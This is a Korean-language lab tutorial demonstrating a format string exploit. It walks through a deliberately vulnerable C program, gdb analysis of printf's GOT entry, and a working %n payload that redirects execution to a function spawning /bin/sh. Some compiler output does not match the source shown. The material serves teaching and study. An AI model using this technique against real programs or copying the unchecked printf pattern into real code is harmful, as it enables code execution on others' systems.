

Format string

HeonjinLee

예제 소스코드

```
#include<stdio.h>
void main()
{
    char buf[1024];
    char attack[1024];

    printf("format string PoC : ");
    fgets(attack, sizeof(attack), stdin);    //공격을 위한 PoC 코드 삽입
    snprintf(buf, sizeof(buf), attack);    //공격값이 buf에 저장됨
    printf(buf);                            //printf_got를 overwrite
    printf("exploit!!!!");                  //overwrite된 secret 함수의 주소를 call하게 됨.
}

void secret()
{
    system("/bin/sh");
}
```

1. poc코드를 gcc로 컴파일해준다.

```
lhj@lhj-VirtualBox:~$ ls
Desktop  Downloads  fsb.c  peda  Public  Videos
Documents  examples.desktop  Music  Pictures  Templates
lhj@lhj-VirtualBox:~$ gcc -fno-stack-protector -mpreferred-stack-boundary=2 fsb.c
-o fsb_attack
fsb.c: In function 'main':
fsb.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security]
    snprintf(name, sizeof(name2), name2);
    ^
fsb.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security]
fsb.c:10:2: warning: format not a string literal and no format arguments [-Wformat-security]
    printf(name);
    ^
lhj@lhj-VirtualBox:~$ ls
Desktop  Downloads  fsb_attack  Music  Pictures  Templates
Documents  examples.desktop  fsb.c  peda  Public  Videos
```

- gcc -fno-stack-protector -mpreferred-stack-boundary=2 옵션을 추가해서 컴파일을 진행하도록 해야 원활한 실습이 가능하다.
- fno-stack-protector : 스택카나리 해제
- mpreferrred-stack-boundary=2 : 컴파일 최적화 옵션을 해제

```
lhj@lhj-VirtualBox:~$ ./fsb_attack
format string test : test %x %x %x %x %x %x
test 74736574 20782520 25207825 78252078 20782520 a7825
```

- 입력을 받는데, %x를 사용하니 printf에서 메모리의 값이 묻어나온다.

```
printf("format string PoC : ");
fgets(attack, sizeof(attack), stdin);
snprintf(buf, sizeof(buf), attack);
printf(name);

printf("exploit!!!!");
```

- 소스 코드를 살펴보면, 4번째 줄에 printf 함수를 사용해서 아래에서 사용하는 printf 함수의 got 값을 변조하여 6번째줄에서 우리가 원하는 주소를 call 할 수 있을 것 같다.

2. 디버깅을 하면서 포맷스트링 공격을 시도해보자.

```
gdb-peda$ b main
Breakpoint 1 at 0x80484d6
gdb-peda$ r
Starting program: /home/lhj/fsb_attack
[-----registers-----]
EAX: 0x1
EBX: 0xb7fc3000 --> 0x1aada8
ECX: 0x311ef975
EDX: 0xbffff044 --> 0xb7fc3000 --> 0x1aada8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff018 --> 0x0
ESP: 0xbfffe80c --> 0x0
EIP: 0x80484d6 (<main+9>:      mov     DWORD PTR [esp],0x80485f0)
[-----code-----]
0x80484cd <main>:      push    ebp
0x80484ce <main+1>:     mov     ebp,esp
0x80484d0 <main+3>:     sub     esp,0x80c
=> 0x80484d6 <main+9>:  mov     DWORD PTR [esp],0x80485f0
0x80484dd <main+16>:    call   0x8048370 <printf@plt>
0x80484e2 <main+21>:    mov     eax,ds:0x804a02c
```

- 우선 메인 함수에 breakpoint를 걸고 run을 한다.

```

[-----code-----
0x804850b <main+62>: mov     DWORD PTR [esp+0x4],0x400
0x8048513 <main+70>: lea     eax,[ebp-0x400]
0x8048519 <main+76>: mov     DWORD PTR [esp],eax
=> 0x804851c <main+79>: call    0x80483c0 <snprintf@plt>
0x8048521 <main+84>: lea     eax,[ebp-0x400]
0x8048527 <main+90>: mov     DWORD PTR [esp],eax
0x804852a <main+93>: call    0x8048370 <printf@plt>
0x804852f <main+98>: mov     DWORD PTR [esp],0x8048606
Guessed arguments:
arg[0]: 0xbfffec18 --> 0x16c2e8
arg[1]: 0x400
arg[2]: 0xbfffe818 ("aaaa %x %x %x %"... )
[-----stack-----
00:0000| esp 0xbfffe80c --> 0xbfffec18 --> 0x16c2e8
01:0004|      0xbfffe810 --> 0x400
02:0008|      0xbfffe814 --> 0xbfffe818 ("aaaa %x %x %x %"... )
03:0012|      0xbfffe818 ("aaaa %x %x %x %"... )
04:0016|      0xbfffe81c (" %x %x %x %x %x"... )
05:0020|      0xbfffe820 ("%x %x %x %x\n")
06:0024|      0xbfffe824 ("x %x %x\n")
07:0028|      0xbfffe828 (" %x\n")

```

- snprintf의 인자로 (0xbfffe818, 0x400, 0xbfffec18)이 들어갈 것으로 보인다.

```

gdb-peda$ x/4s 0xbfffe818
0xbfffe818:      "aaaa %x %x %x %"...
0xbfffe827:      "x %x\n"
0xbfffe82d:      ""

```

```

[-----code-----
0x804851c <main+79>: call    0x80483c0 <snprintf@plt>
0x8048521 <main+84>: lea     eax,[ebp-0x400]
0x8048527 <main+90>: mov     DWORD PTR [esp],eax
=> 0x804852a <main+93>: call    0x8048370 <printf@plt>
0x804852f <main+98>: mov     DWORD PTR [esp],0x8048606
0x8048536 <main+105>: call    0x8048370 <printf@plt>
0x804853b <main+110>: leave
0x804853c <main+111>: ret
Guessed arguments:
arg[0]: 0xbfffec18 ("aaaa 61616161 2"... )
[-----stack-----
00:0000| esp 0xbfffe80c --> 0xbfffec18 ("aaaa 61616161 2"... )
01:0004|      0xbfffe810 --> 0x400
02:0008|      0xbfffe814 --> 0xbfffe818 ("aaaa %x %x %x %"... )
03:0012|      0xbfffe818 ("aaaa %x %x %x %"... )
04:0016|      0xbfffe81c (" %x %x %x %x %x"... )
05:0020|      0xbfffe820 ("%x %x %x %x\n")
06:0024|      0xbfffe824 ("x %x %x\n")
07:0028|      0xbfffe828 (" %x\n")

```

- 코드상에서 printf 함수에 인자가 1개만 들어가 있으므로, 매개변수로 buf의 값이 들어갈 것이고, 다음 %x부터는 다음 주소의 값이 묻어져 나올 것으로 보인다.

```

gdb-peda$ ni
aaaa 61616161 20782520 25207825 78252078 a782520
[-----registers-----]
EAX: 0x31 (b'1')
EBX: 0xb7fc3000 --> 0x1aada8
ECX: 0x0
EDX: 0xb7fc4898 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff018 --> 0x0
ESP: 0xbfffe80c --> 0xbfffec18 ("aaaa 61616161 2"... )
EIP: 0x804852f (<main+98>:      mov     DWORD PTR [esp],0x8048606)
[-----code-----]
0x8048521 <main+84>: lea     eax,[ebp-0x400]
0x8048527 <main+90>: mov     DWORD PTR [esp],eax
0x804852a <main+93>: call   0x8048370 <printf@plt>
=> 0x804852f <main+98>: mov     DWORD PTR [esp],0x8048606
0x8048536 <main+105>: call   0x8048370 <printf@plt>
0x804853b <main+110>: leave
0x804853c <main+111>: ret
0x804853d <secret>: push   ebp

```

- 끝나기 전에 printf 함수가 한번 더 나오게 되는데, 조금 전에 우리가 입력한 값을 출력해주는 printf를 사용하여 'exploit!!!' 문자열을 나타내는 printf 함수의 got를 변조시켜 공격을 시도할 계획이다.

```

gdb-peda$ x/4i 0x8048370
0x8048370 <printf@plt>: jmp     DWORD PTR ds:0x804a00c
0x8048376 <printf@plt+6>: push    0x0
0x804837b <printf@plt+11>: jmp     0x8048360

```

- printf 의 got(0x804a00c)를 format string bug를 통해서 변조 시킬 수 있다.

```

gdb-peda$ p secret
$1 = {<text variable, no debug info>} 0x804853d <secret>
gdb-peda$ p/d 0x804853d
$2 = 134513981

```

- secret 주소는 0x804853d 이고 10진수로 바꾼 134513981를 사용 할 것 이다.

3. 문제 해결

공격에 사용할 payload

aaaa + 변조 할 printf got (Wx0cWxa0Wx04Wx08) + %134513981x - 8 (134513973x)%n

```
lhj@lhj-VirtualBox:~$ (python -c 'print "abcd" + "\x0c\xa0\x04\x08" + "%134513973x%n"'; cat) | ./fsb_attack
whoami
lhj
ls
Desktop      examples.desktop  Music           Pictures       Videos
Documents    fsb_attack        peda            Public
Downloads    fsb.c             peda-session-fsb_attack.txt  Templates
```

- python -c 'print "abcd" + "\x0c\xa0\x04\x08" + "%134513973x%n"'; cat) | ./fsb_attack
- 헬을 획득한 것을 볼 수 있다.

※ 서식문자 : %n

매개변수
return
지역변수
매개변수
Return
지역변수

- %n이 나오기 전 출력된 자리 수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소에 숫자를 입력 가능.
- ➔ 예제에서 사용된 것도 매개변수를 1개 입력 받아, dummy값(4)을 주고, 변환하고자 하는 주소를 입력한 뒤 그 주소에 우리가 원하는 주소 입력 해주면 변환하게 된다.